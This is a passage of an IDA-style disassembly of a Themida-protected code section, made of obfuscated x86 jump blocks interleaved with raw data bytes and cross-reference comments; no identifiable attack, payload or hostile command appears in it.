xor eax, ecx
jmp loc_546C64
; ---------------------------------------------------------------------------
loc_548A80: ; CODE XREF: Themida_:00547C62j
push 83Bh
mov [esp], eax
mov eax, esp
add eax, 4
push ebp
jmp loc_54D6DA
; ---------------------------------------------------------------------------
loc_548A95: ; CODE XREF: Themida_:00547FAAj
mov [esp], edi
push 691A7B09h
mov edi, [esp]
add esp, 4
add edi, 6D4D18B7h
jmp loc_546797
; ---------------------------------------------------------------------------
db 0FFh, 34h, 24h
dd 87D0E9h, 2AC68100h, 5B746E0Ch, 0E9243433h, 0FFFFDEB4h
dd 6F25EA81h, 0C229136Ah, 6F25B951h, 2AE9136Ah
db 31h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_548ADB: ; CODE XREF: Themida_:00550A64j
push 1A3717AFh
pop edi
jmp loc_5465D7
; ---------------------------------------------------------------------------
dw 0BD55h
dd 5E9F7FA2h, 0FFF622E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_548AF1: ; CODE XREF: Themida_:0054F76Bj
pop edi
jmp loc_547326
; ---------------------------------------------------------------------------
db 57h
dd 0C7815F54h, 4, 4C781h, 3C870000h, 0DB60E924h, 0BA04FFFFh
dd 0FE688B04h, 89000013h, 0B050241Ch, 301FB7F1h, 24048BC7h
dd 2C04C483h, 4F800AEh, 241C8BAEh, 0E95F5457h, 0C90h, 8704EF83h
dd 895C243Ch, 0CBBF243Ch, 0E971F14Bh, 81D6h
; ---------------------------------------------------------------------------
loc_548B4C: ; CODE XREF: Themida_:0054DB68j
push eax
push ebp
push 70AA1538h
pop ebp
add ebp, 17C20475h
sub ebp, 7E1AB7D5h
mov eax, ebp
pop ebp
add eax, 1
jmp loc_54DA8B
; ---------------------------------------------------------------------------
db 5Ch, 66h, 89h
dd 74E92404h
db 0D9h, 2 dup(0FFh)
byte_548B77 db 66h ; DATA XREF: Themida_:005462A4o
dd 81240C8Bh, 4ECh, 242C8900h, 0B7685D54h, 89000052h, 4B682404h
dd 8900001Ch, 6568240Ch, 5957FE7Ch, 251C181h, 0FF515640h
dd 0E959240Ch, 0FFFFEBFFh, 685BD801h, 7883h, 0FF240489h
dd 8B042474h, 94E92404h, 89000047h, 52E9240Ch, 80000067h
dd 0D9E9DAEBh, 1000024h, 55565BDAh, 0FD27B868h, 0CD815D45h
dd 4A8639F5h, 3AABE9h
db 0
aM0FrSsw6 db '╛0ьfR╤≤ИW6',0 ; DATA XREF: Themida_:00546398o
dd 24248B00h, 3C4FE9h
db 0
byte_548BFD db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:005462D0o
dd 3C106824h, 9BE90000h, 4000014h, 422C8Eh, 2C4204D0h
dd 8BCE98Eh, 89570000h, 4C781E7h, 0E9000000h, 0FFFFF075h
; ---------------------------------------------------------------------------
loc_548C28: ; CODE XREF: Themida_:005490CFj
sub edx, 3DFE53BAh
jmp loc_54D8FF
; ---------------------------------------------------------------------------
db 21h
dd 0EBC15FFBh, 23ADE904h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_548C3E: ; CODE XREF: Themida_:00552788j
mov [esp], ebp
jmp loc_54D002
; ---------------------------------------------------------------------------
loc_548C46: ; CODE XREF: Themida_:0055031Dj
mov eax, [esp]
jmp loc_54F0DD
; ---------------------------------------------------------------------------
dw 0F180h
aYx db ' (кYX',0
dw 80C3h
dd 0B60F3CEBh, 8734FFC0h, 0A9243481h, 0E962FA28h, 4983h
dd 0E9FFEE80h, 31E8h, 815FFE01h, 6322E5EEh, 54685161h
dd 0FF587978h, 0BAE92434h
db 69h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_548C8B: ; CODE XREF: Themida_:0054D646j
push 17CFh
jmp loc_54FA08
; ---------------------------------------------------------------------------
loc_548C95: ; CODE XREF: Themida_:0054C916j
add ebp, 4
push edi
jmp loc_548E4D
; ---------------------------------------------------------------------------
loc_548CA1: ; CODE XREF: Themida_:0054C68Fj
pop edi
pop ebp
sub eax, ebx
add eax, 585B0D45h
push dword ptr [esp]
pop ebx
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
push esi
jmp loc_54EEBA
; ---------------------------------------------------------------------------
db 89h, 14h, 24h
dd 0E280D9B2h, 0B05066D2h, 66C22854h, 5224048Bh, 0F168E289h
dd 0E9000064h, 8052h
; ---------------------------------------------------------------------------
loc_548CE8: ; CODE XREF: Themida_:00546E8Fj
pop ebp
add eax, 99E2BE86h
mov ebx, eax
jmp loc_551C1E
; ---------------------------------------------------------------------------
db 5, 4, 0
dd 13E90000h, 5FFFFFFBh, 4EE81h, 34330000h, 3A14E924h
dd 88500000h, 58C788F0h, 8324148Bh, 0DFF604C4h, 9868E9h
dd 2414F700h, 0C6814E5Eh, 7DF9664Ch, 815EF701h, 4EFh, 36FE6800h
dd 3C890000h, 3063E924h, 0C1810000h, 89C329Dh, 735EE9h
db 0
; ---------------------------------------------------------------------------
loc_548D4D: ; CODE XREF: Themida_:0055071Cj
mov [esp], ebp
push esi
push 475962E3h
pop esi
push eax
push esi
mov esi, 0F3370EAh
mov eax, 27CBE106h
add eax, esi
mov esi, [esp]
add esp, 4
shr eax, 8
inc eax
neg eax
sub eax, 0EB67AAEFh
jmp loc_54F394
; ---------------------------------------------------------------------------
db 66h
dd 66681205h, 6DE9D001h
db 73h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_548D87: ; CODE XREF: Themida_:0054669Cj
mov bl, 58h
jmp loc_5464F1
; ---------------------------------------------------------------------------
dw 5859h
dd 57240C8Bh, 0C8E9E789h, 5D00002Bh, 15AD189h, 240C8BCBh
dd 2C53E9h, 0E9E6D000h, 0FFFFF358h
dword_548DB0 dd 61E868h, 24148900h, 0DEBD5550h, 0C1425534h, 0F58104EDh
; DATA XREF: Themida_:0054627Co
dd 1CAE3EC7h, 120AE9h, 4EC8100h, 0E9000000h, 47F7h
; ---------------------------------------------------------------------------
loc_548DD8: ; CODE XREF: Themida_:0054F052j
mov ebx, 1000h
mov ebp, ebx
mov ebx, [esp]
add esp, 4
jmp loc_547458
; ---------------------------------------------------------------------------
dw 8F5Eh
dd 248B2404h, 4296624h, 0F0E99C24h
db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_548DFB: ; CODE XREF: Themida_:00546F63j
pop ebp
add esi, eax
push dword ptr [esp]
pop eax
jmp loc_54FD6B
; ---------------------------------------------------------------------------
db 54h
dd 4C2815Ah, 81000000h, 4C2h, 24148700h, 0CCE9595Ch
db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_548E1F: ; CODE XREF: Themida_:00547799j
xor ecx, [esp]
jmp loc_5518C7
; ---------------------------------------------------------------------------
db 0FFh
dd 0FB36832h, 0FAE90000h
db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_548E33: ; CODE XREF: Themida_:0054EA33j
push eax
jmp loc_54D639
; ---------------------------------------------------------------------------
db 5Dh, 0E9h, 0F1h
dd 57000088h, 5C1E9h
db 0
; ---------------------------------------------------------------------------
loc_548E45: ; CODE XREF: Themida_:0054B395j
xor edx, [esp]
jmp loc_5527CF
; ---------------------------------------------------------------------------
loc_548E4D: ; CODE XREF: Themida_:00548C9Cj
mov edi, 4F7A7FBDh
jmp loc_54B125
; ---------------------------------------------------------------------------
db 30h
dd 5053240Ch, 0E951CC88h, 85EFh
; ---------------------------------------------------------------------------
loc_548E64: ; CODE XREF: Themida_:00550173j
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
pop esp
jmp loc_5464EB
; ---------------------------------------------------------------------------
dw 0EC83h
dd 24048904h, 4B8h, 8BC38100h, 552C9B6Bh, 230FE9h, 5AD58900h
dd 5D1C6F09h, 0FFD656E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_548E95: ; CODE XREF: Themida_:00551703j
mov [esp], edi
mov edi, 200000h
and eax, edi
mov edi, [esp]
sub esp, 4
mov [esp], ebx
push esp
jmp loc_54DB09
; ---------------------------------------------------------------------------
loc_548EB1: ; CODE XREF: Themida_:00547C08j
xor ecx, eax
jmp loc_54C416
; ---------------------------------------------------------------------------
dd 0F231622Dh, 5F0014Eh, 4EF23162h, 79872D5Eh, 0D8016AF3h
dd 0FFE8FBE9h, 0BAB951FFh, 0C114A413h, 0E98106E1h, 3D2A60E2h
dd 3153C181h, 0F1816CA5h, 4356D9CBh, 5E59CF01h, 5A43E9h
dd 24048300h, 98E95F04h, 81000069h, 4C7h, 243C8700h, 2A38E9h
dd 240C8B00h, 1D2CE952h, 5D660000h, 24048F66h, 87665566h
dd 0F766243Ch, 3C8766D7h, 0E95D6624h, 0FFFFD6B3h
dword_548F30 dd 24248B66h, 0FFD5B2E9h, 0E78957FFh, 7EBDE9h, 11E95900h
; DATA XREF: Themida_:00546280o
dd 8100006Bh, 4C3h, 0E6895600h, 0FFEC85E9h, 24348BFFh
dd 13A1E9h, 24048B00h, 4C481h, 0EE810000h, 42710A50h, 0FFC68346h
dd 2A45E9h
db 0
; ---------------------------------------------------------------------------
loc_548F75: ; CODE XREF: Themida_:0054DCCCj
xchg ebx, [esp]
pop esp
jmp loc_55211F
; ---------------------------------------------------------------------------
dw 5866h
dd 88CC8850h, 2DE958E2h, 1FFFFE9h, 8385E9F0h
db 2 dup(0)
word_548F92 dw 8B66h ; DATA XREF: Themida_:00546434o
dd 2FE9240Ch
db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_548F9B: ; CODE XREF: Themida_:00549343j
neg ecx
dec ecx
sub ecx, 0E0F190D3h
sub ebx, ecx
pop ecx
push ecx
mov ecx, ebx
mov esi, ecx
mov ecx, [esp]
add esp, 4
pop ebx
mov edi, 59896181h
xor edi, esi
pop esi
add edi, 3197481Fh
xor edx, edi
pop edi
jmp loc_546B7D
; ---------------------------------------------------------------------------
db 31h, 4, 24h
dd 5C240433h, 0F66F9F6h, 86E9CCB6h, 0BB000055h, 2Ch, 7DEFC381h
dd 0FB016A97h, 4290BE56h, 0F7563365h, 8AE92414h, 0E900005Dh
dd 0FFFFD4EFh
dword_548FFC dd 24048150h, 4F767199h, 8124048Bh, 4C4h, 65B95100h, 87508700h
; DATA XREF: Themida_:0054641Co
dd 87D5F7E9h, 19C181E9h, 8351D927h, 0C18101C1h, 4E244AE5h
dd 435A3A2Dh, 52C8292Dh, 435A3ABAh, 312E2D2Dh, 0D0016558h
dd 7D81E9h
db 0
; ---------------------------------------------------------------------------
loc_549041: ; CODE XREF: Themida_:0054F8FEj
mov [esp], eax
mov eax, esp
push ecx
mov ecx, 4
add eax, ecx
mov ecx, [esp]
add esp, 4
push ebp
mov ebp, 4
sub eax, ebp
pop ebp
jmp loc_54DE8B
; ---------------------------------------------------------------------------
dw 2166h
dd 0E99C2404h, 0FFFFD47Fh, 4EC81h, 0ECE90000h
db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_549077: ; CODE XREF: Themida_:0054688Cj
push ebp
mov ebp, 5FE667FAh
jmp loc_54BD09
; ---------------------------------------------------------------------------
loc_549082: ; CODE XREF: Themida_:00551506j
mov eax, [esp]
push eax
mov eax, esp
add eax, 4
jmp loc_54CABE
; ---------------------------------------------------------------------------
dw 0EFC1h
dd 0F7814706h, 436AF894h, 5087C381h, 0FB29191Ah, 5087EB81h
dd 815F191Ah, 99181AEBh, 0ABE95F55h, 87000020h, 685C241Ch
dd 121Fh, 0E9241C89h, 86B3h
; ---------------------------------------------------------------------------
loc_5490C8: ; CODE XREF: Themida_:00550424j
push edx
push 79B830E9h
pop edx
jmp loc_548C28
; ---------------------------------------------------------------------------
dd 0BB668h, 242C8900h, 904307BDh, 3E5C12Fh, 0F554ED81h
dd 0E80110DFh, 0B60F665Dh, 0F686600h, 489666Bh, 0D3EDE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5490FE: ; CODE XREF: Themida_:00546CE1j
pop esp
jmp loc_550421
; ---------------------------------------------------------------------------
dd 8904EC83h, 50E9242Ch
db 5Eh, 2 dup(0)
byte_54910F db 0FFh ; DATA XREF: Themida_:00546358o
dd 0F0E92434h, 57FFFFF0h, 0C7815F54h, 4, 7465E9h, 4E0C100h
dd 226F6005h, 0D95BE976h, 0E888FFFFh, 66C63059h, 0B4505158h
dd 57EEE917h, 0EA310000h, 8BD6015Dh, 0C4832414h, 4EC8304h
dd 0B8240489h, 3D136770h, 0DF72D705h, 1E88330h, 865EBF57h
dd 0F8316653h, 0D8B9E95Fh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54916E: ; CODE XREF: Themida_:0054B681j
sub eax, 187FFFF8h
mov ebp, eax
pop eax
jmp loc_546ECC
; ---------------------------------------------------------------------------
db 0B8h
dd 545E6F96h, 158C701h, 96EF81EFh, 55545E6Fh, 30186856h
dd 815E431Eh, 777C24EEh, 9FC68179h, 81600651h, 5979B5C6h
dd 5EF58938h, 5D5DEF29h, 3302EF83h, 3C31243Ch, 243C3324h
dd 0FFF9B0E9h, 243C87FFh, 0FF24248Bh, 34FF2434h, 2434FF24h
dd 4C48358h, 53E08950h, 4BBh, 322DE900h, 48F0000h, 94E95C24h
dd 900005Dh, 641CE9F8h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5491EE: ; CODE XREF: Themida_:0054C420j
mov esi, 6AD950D0h
sub esi, 75170F3Bh
xor esi, 5D640597h
push esi
jmp loc_54709C
; ---------------------------------------------------------------------------
db 0FFh, 0Ch, 24h
dd 0D2DDE99Ch, 48FFFFFh, 89525C24h, 4C281E2h, 68000000h
dd 1B79h, 51243489h, 0FFF46CE9h, 0BFC181FFh, 3172FE44h
dd 31CF31F9h, 87D7F7F9h, 0BE981F9h, 13E1A68h, 0C38359CBh
dd 241C8704h, 44F7E9h, 24048F00h, 0FFFCA0E9h
db 0FFh
byte_549255 db 66h, 8Fh, 2 ; DATA XREF: Themida_:005463A0o
dd 0FFD28EE9h, 4C683FFh, 0E9243487h, 5AFFh, 35AEEA81h
dd 0CA81CE38h, 4FEF5495h, 0D631F231h, 0D6F7F231h, 0AEE9F287h
dd 81FFFFE6h, 4C4h, 0DBCD8000h, 16A0E9h, 24148900h, 3185DF68h
dd 6F42E93Eh, 68660000h, 89662DC9h, 72E92414h, 1FFFFD8h
dd 8478E9D9h, 4BA0000h, 1000000h, 24148BD6h, 0E904C483h
dd 78DDh, 0ECC0EC86h, 8E2EE906h, 0C3800000h, 26C3806Ch
dd 0E903C380h, 3740h, 4C281h, 0BB530000h, 1D0601F5h, 834BDBF7h
dd 0DBF701C3h, 6408E381h, 0C38169D5h, 0F6FC0004h, 1C8BDA01h
dd 4C48124h, 33000000h, 14312414h, 24143324h, 8324248Bh
dd 34FF04C4h, 240C8B24h, 0C5E95455h
db 57h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_549323: ; CODE XREF: Themida_:005510BEj
sub esp, 4
mov [esp], esi
push ebx
mov ebx, 5BFF5BF2h
xor ebx, 6A9374B9h
push ecx
mov ecx, 0BA7323Dh
inc ecx
shr ecx, 8
inc ecx
jmp loc_548F9B
; ---------------------------------------------------------------------------
dd 4BFh, 247C0100h, 0E95E5F04h, 2431h
; ---------------------------------------------------------------------------
loc_549358: ; CODE XREF: Themida_:00547453j
mov ebp, 0FFFFFFFFh
add edx, ebp
pop ebp
sub edx, 51726D5Dh
and eax, edx
push dword ptr [esp]
mov edx, [esp]
jmp loc_54BDE3
; ---------------------------------------------------------------------------
db 31h
dd 0B7E92404h
db 69h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54937B: ; CODE XREF: Themida_:00546EDFj
push ebx
push edx
mov edx, 4
mov ebx, edx
pop edx
add edi, ebx
pop ebx
xchg edi, [esp]
mov esp, [esp]
add esp, 4
loc_549391: ; CODE XREF: Themida_:loc_550A5Aj
push 2C94h
mov [esp], ebp
mov ebp, esp
push eax
mov eax, 2F5E32CDh
sub eax, 0FAF492Ch
not eax
jmp loc_54A951
; ---------------------------------------------------------------------------
db 80h, 0C3h, 0AFh
dd 582434FFh, 0F04C483h, 48DC0B6h, 1F2D6887h, 4890000h
dd 0D121E924h, 4B9FFFFh, 1000000h, 0C78159CFh, 4, 0DBD3E957h
dd 0E952FFFFh, 4597h, 4C181h, 0C1810000h, 4, 0FFE4CCE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5493F5: ; CODE XREF: Themida_:0054B2C9j
add esp, 4
add esp, 4
jmp loc_54C35C
; ---------------------------------------------------------------------------
dw 0D8BFh
dd 8173F432h, 0E43DE1E7h, 0B5E7816Fh, 8144E24Ah, 0EF4769F7h
dd 0E5EF811Eh, 15E0F47h, 2C335FFDh, 186FE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54942E: ; CODE XREF: Themida_:0054EA4Dj
sub esi, 0A71CD2F6h
mov ecx, esi
mov esi, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
sub [esp+4], ecx
mov ecx, [esp]
add esp, 4
pop eax
jmp loc_54B705
; ---------------------------------------------------------------------------
db 81h
dd 2C4h, 88526600h, 88DD88EAh, 148B66D3h, 2C48324h, 8852D5F6h
dd 50DD88EEh, 6833E9h, 0E9D6F700h, 0FFFFF281h, 0E930FF5Fh
dd 0FFFFD05Bh, 1DE9E9F6h, 33FFFFF1h, 34312434h, 24343324h
dd 5024248Bh, 405E089h, 2D000000h, 4, 2474FF50h, 48F5804h
dd 1FE95C24h, 8700001Ah, 0E9D5F7E9h, 0FFFFDF2Fh
; ---------------------------------------------------------------------------
loc_5494C8: ; CODE XREF: Themida_:0054AE24j
push esi
mov esi, 4
add ecx, esi
pop esi
jmp loc_5517A5
; ---------------------------------------------------------------------------
dw 148Bh
dd 4C48324h, 0B60FC330h, 8734FFC0h, 0FFD002E9h, 3CD366FFh
dd 0F8E99C24h, 81FFFFCFh, 4C4h, 2BA5200h, 1000000h, 0FF575AD7h
dd 5F042474h, 8B24048Fh, 8B662424h, 0EC832404h, 32BCE904h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54951A: ; CODE XREF: Themida_:005469D8j
pop ebp
push ebx
mov ebx, 45E55050h
and edx, ebx
pop ebx
shr edx, 7
xor edx, 942A4h
jmp loc_5484BA
; ---------------------------------------------------------------------------
loc_549532: ; CODE XREF: Themida_:00550134j
push 363D4CFFh
pop edx
add ecx, edx
pop edx
push esi
mov esi, 25947A6Ah
shr esi, 6
sub esp, 4
mov [esp], edi
mov edi, 10F73E9Eh
add edi, 46A65F09h
neg edi
not edi
push ebp
mov ebp, 0E4D87F7Eh
sub edi, ebp
pop ebp
sub esi, edi
push dword ptr [esp]
pop edi
add esp, 4
and esi, 558C1EA4h
and esi, 466954C3h
add esi, 1
sub esp, 4
jmp loc_54DD7F
; ---------------------------------------------------------------------------
dword_549588 dd 0E92434FFh, 0D5Ah, 815AD509h, 0DFD3F3C5h, 0E9EA89ECh
; DATA XREF: Themida_:00546360o
dd 3ADh, 0E9240C31h, 4CC9h, 94E9C588h, 89FFFFE5h, 84E9240Ch
db 67h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5495B7: ; CODE XREF: Themida_:0055086Cj
push esi
push ebp
mov ebp, 6C011808h
add ebp, 52DF4051h
jmp loc_54AEA5
; ---------------------------------------------------------------------------
db 50h, 0E9h, 78h
dd 83FFFFD3h, 0C9FE04C4h, 21E9h
db 0
; ---------------------------------------------------------------------------
loc_5495D9: ; CODE XREF: Themida_:0054CCD5j
add eax, edx
jmp loc_547711
; ---------------------------------------------------------------------------
loc_5495E0: ; CODE XREF: Themida_:0054D673j
mov edx, ebx
pop ebx
sub edx, 6E28637Bh
push esi
jmp loc_54D9D6
; ---------------------------------------------------------------------------
loc_5495EF: ; CODE XREF: Themida_:0054FE95j
sub ebp, 4
jmp loc_546FE9
; ---------------------------------------------------------------------------
dw 0BC68h
dd 89000025h, 14F6240Ch, 2C1E924h, 0C7040000h, 5A2434FFh
dd 4C481h, 0E9500000h, 0FFFFE209h, 4E07E6C1h, 5510E9h
db 0
; ---------------------------------------------------------------------------
loc_549625: ; CODE XREF: Themida_:00547B15j
pop esi
sub esp, 4
jmp loc_54778E
; ---------------------------------------------------------------------------
dw 0B8E9h
db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_549633: ; CODE XREF: Themida_:0055040Ej
push ecx
jmp loc_547B66
; ---------------------------------------------------------------------------
db 68h, 0D5h, 12h
dd 148B7252h, 0E2895224h, 36B0E9h, 0C6815A00h, 2FC51818h
dd 0BD55EED1h, 81C474Dh, 815DEE01h, 5FECEDC6h, 5EF101B2h
dd 0E9240C33h, 11BFh
; ---------------------------------------------------------------------------
loc_54966C: ; CODE XREF: Themida_:0055118Aj
pop edi
xor esi, ebp
mov ebp, [esp]
add esp, 4
xor esi, 26537D73h
add ecx, esi
mov esi, [esp]
add esp, 4
jmp loc_54A627
; ---------------------------------------------------------------------------
loc_54968B: ; CODE XREF: Themida_:0054DD3Fj
push esi
mov esi, 4
add ecx, esi
pop esi
add ecx, 4
jmp loc_54A7CD
; ---------------------------------------------------------------------------
dd 0C0CDC680h, 516602EEh, 0FBB45053h, 5AB75366h, 0AAE9FC28h
db 0D5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5496B3: ; CODE XREF: Themida_:0054A943j
push ebp
push 26B802EFh
jmp loc_54CB67
; ---------------------------------------------------------------------------
dw 0BD55h
dd 49C30E80h, 9DE9DDF7h, 81000091h, 4C7h, 4EF8100h, 87000000h
dd 895C243Ch, 74FF243Ch, 0A5E90424h, 8700002Ah, 0FF5C2434h
dd 34FF2434h, 0E9505824h, 6465h, 158C289h, 0D67CE9D6h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_549702: ; CODE XREF: Themida_:0054A988j
add dword ptr [esp], 4
pop eax
push ebx
mov ebx, 505620Fh
sub ebx, 505620Bh
add eax, ebx
jmp loc_54B089
; ---------------------------------------------------------------------------
dw 0F329h
dd 68515Eh, 8B000000h, 0C483240Ch, 0E9D90104h, 18CCh, 0E9240C87h
dd 0E26h, 89243C89h, 462068E7h, 0C890000h, 4B924h, 0CF010000h
dd 0E9240C8Bh, 2A90h, 7CE95854h, 8100003Eh, 4C6h, 4EE8300h
dd 5C243487h, 89243C89h, 4BE56E7h, 1000000h, 0BA525EF7h
dd 4, 875AD701h, 0E95C243Ch, 0FFFFF94Ch
dword_549788 dd 240C8B66h, 815D5455h, 4C5h, 427BE900h, 4CE90000h, 5FFFFCDh
; DATA XREF: Themida_:00546414o
dd 2, 0FFECF6E9h, 242C89FFh, 3FCBDh, 5DEF0100h, 0FFC0B60Fh
dd 0EC818734h, 4, 0E9242C89h, 41DDh, 0FBFCE951h, 335FFFFh
dd 89385ADCh, 0EB2958C5h, 0E869E95Dh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5497DE: ; CODE XREF: Themida_:0054A3F5j
sub esp, 4
mov [esp], ebx
pop esi
push ecx
mov ecx, esi
push ecx
jmp loc_54D2D1
; ---------------------------------------------------------------------------
aRhm4 db 'Rh╛4',0
dw 8900h
dd 69E9241Ch
db 87h, 2 dup(0)
byte_5497FF db 66h ; DATA XREF: Themida_:00546310o
dd 8324048Bh, 76E904ECh
db 1Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54980B: ; CODE XREF: Themida_:00550C30j
or ecx, 5EE13D37h
xor ecx, 0FC56F91Dh
push edx
jmp loc_5480FF
; ---------------------------------------------------------------------------
aL4Srd db '^▀4$ИЮ└',0
align 2
dw 0EC83h
dd 24048904h, 2434FF54h, 0C0E95058h, 6600003Dh, 0EF885350h
dd 1C8BF888h, 32E5E924h, 0CA290000h, 0FEBA5259h, 0F7134A2Bh
dd 0FFEA81DAh, 42FFFFFFh, 7D72CA81h, 1BE96246h, 81000053h
dd 0BE699AC1h, 59CD010Eh, 4A9DE9h, 5BDF2900h, 7CE9FE89h
db 3Ch, 2 dup(0)
byte_54987B db 66h ; DATA XREF: Themida_:00546290o
dd 5324048Bh, 7C2CE9h, 0E9E68900h, 60ABh, 58C3885Ah, 0E91A8859h
dd 3888h, 6460E953h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54989E: ; CODE XREF: Themida_:00546691j
sub al, 90h
xor al, 0D0h
sub al, 51h
mov bh, al
jmp loc_54ED25
; ---------------------------------------------------------------------------
loc_5498AB: ; CODE XREF: Themida_:0054D466j
xor edx, [esp]
jmp loc_550A92
; ---------------------------------------------------------------------------
db 89h
dd 8FBA2414h, 816A054Ah, 0D13846CAh, 11EC682Ah, 51E90000h
dd 59000071h, 94B68h, 0ED9BE900h, 405FFFFh, 87000000h
dd 815C2404h, 0C17C71EAh, 0EF57E968h
db 2 dup(0FFh)
word_5498EA dw 2DADh ; DATA XREF: Themida_:00546498o
dd 73FE7D74h, 601EE9h, 0DDE95E00h, 8300008Dh, 3C8702C7h
dd 8349E924h, 0F660000h, 6866C8B6h, 89663937h, 0D8E9240Ch
dd 0BFFFFFE3h, 51546240h, 546242B9h, 5FF92951h, 3359CF01h
dd 3C31243Ch, 243C3324h, 8BA7E9h, 81EA0100h, 5E2ED1C2h
dd 6204E96Ah
db 2 dup(0)
word_549942 dw 0BA52h ; DATA XREF: Themida_:005463D8o
dd 3Ch, 0FFE3DAE9h, 242C8BFFh, 4C481h, 0FA010000h, 81243C8Bh
dd 4C4h, 8BD00100h, 0C4832414h, 81565104h, 4ECh, 243C8900h
dd 2730A0BFh, 81DFF75Fh, 513AAEF7h, 3A4E6857h, 1C890000h
dd 4DE2BB24h, 0F38156E6h, 0ECC2A2FBh, 0FFFED8E9h, 2C483FFh
dd 4EC81h, 34E90000h, 31FFFFD2h, 0EA815DEAh, 42561B11h
dd 1225BB53h, 0DA3158B4h, 1AF2815Bh, 29695750h, 3C875AD7h
dd 79DAE924h
db 2 dup(0)
word_5499CA dw 77FFh ; DATA XREF: Themida_:0054631Co
dd 59669D1Ch, 9C2414D3h, 0FFCB12E9h, 20CF80FFh, 28C9E9h
dd 0E2B45000h, 0FFD10AE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5499E9: ; CODE XREF: Themida_:0054F8BEj
xor [esp], eax
xor eax, [esp]
pop esp
push eax
mov eax, 69494662h
dec eax
shr eax, 1
jmp loc_54787E
; ---------------------------------------------------------------------------
loc_5499FE: ; CODE XREF: Themida_:00551C32j
add ecx, ebx
pop ebx
xchg ecx, [esp]
pop esp
push esi
mov esi, esp
add esi, 4
sub esi, 4
jmp loc_551AA7
; ---------------------------------------------------------------------------
loc_549A16: ; CODE XREF: Themida_:0054F95Fj
not dword ptr [esp]
pop edx
xchg edx, [esp]
pop ebp
push esi
push ebp
pop esi
jmp loc_54EBA8
; ---------------------------------------------------------------------------
loc_549A26: ; CODE XREF: Themida_:0054D96Dj
mov esi, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
pop esp
shr ebp, 8
jmp loc_54B99C
; ---------------------------------------------------------------------------
aBIVbLSte db '│бi',0Dh,9,'v│Й|L-ыИБE',0
db 0
; ---------------------------------------------------------------------------
loc_549A5B: ; CODE XREF: Themida_:005483C1j
xchg ebp, ebx
add ebp, 1
xor ebx, ebp
xor ebp, ebx
xor ebx, ebp
push 2CABh
mov [esp], edi
push ebx
mov ebx, 0C6F1E53Bh
mov edi, ebx
pop ebx
xor ebx, edi
pop edi
and ecx, ebx
pop ebx
shr ecx, 7
push 13D7h
mov [esp], edx
push edi
jmp loc_54D3B3
; ---------------------------------------------------------------------------
db 56h, 0BEh, 1Ch
dd 8160AF71h, 0BD56DEC3h, 81F32920h, 0BD56DEEBh, 24348B20h
dd 4EC81h, 0C890000h, 0E9E18924h, 0FFFFF92Ch
dword_549AB8 dd 592434FFh, 4EC81h, 1C890000h, 4EC8124h, 89000000h, 4812424h
; DATA XREF: Themida_:005462C4o
dd 424h, 0C3815B00h, 4, 4944BE56h, 68767Eh, 29000000h
dd 348B2434h, 4C48324h, 290AE9h, 0C5815B00h, 6AE62A61h
dd 622BBB53h, 0DD014E18h, 4171E95Bh, 4890000h, 242C8124h
dd 64D27E9Ch, 5A2434FFh, 5604C483h, 3F28A4BEh, 0A0E6814Eh
dd 0C101903Eh, 814603EEh, 0B7774EF6h, 5E7E92Ch, 50470000h
dd 0ABE95255h
db 5Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_549B3F: ; CODE XREF: Themida_:00547A45j
add esp, [edx+38h]
push 1052h
jmp loc_547FA2
; ---------------------------------------------------------------------------
dword_549B4C dd 24048B66h, 79536857h, 0E9540000h, 5293h, 8B24048Fh
; DATA XREF: Themida_:005463DCo
dd 0F662424h, 9C2404ABh, 0FFC97EE9h, 0C7815CFFh, 60C25746h
dd 54E9EF29h
db 63h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_549B7B: ; CODE XREF: Themida_:005511DBj
add ebp, edi
add ebp, 3AED3254h
pop edi
add ebp, 4
xchg ebp, [esp]
pop esp
push ebx
mov ebx, 12A237CEh
shl ebx, 1
shl ebx, 5
push eax
mov eax, 75742D5Eh
and ebx, eax
jmp loc_54BEC7
; ---------------------------------------------------------------------------
db 0BDh
dd 60B67E10h, 0F5E9EE09h, 89000026h, 24BD242Ch, 0E9000000h
dd 0FFFFCB47h
; ---------------------------------------------------------------------------
loc_549BBC: ; CODE XREF: Themida_:00550EB4j
add ebx, eax
pop eax
sub ebx, ebp
sub ebx, 297E0BF9h
pop ebp
jmp loc_550C25
; ---------------------------------------------------------------------------
db 83h, 0C4h, 4
dd 0E902EC83h, 4888h
; ---------------------------------------------------------------------------
loc_549BD8: ; CODE XREF: Themida_:00550F31j
add eax, 4
add eax, 4
jmp loc_54B7B8
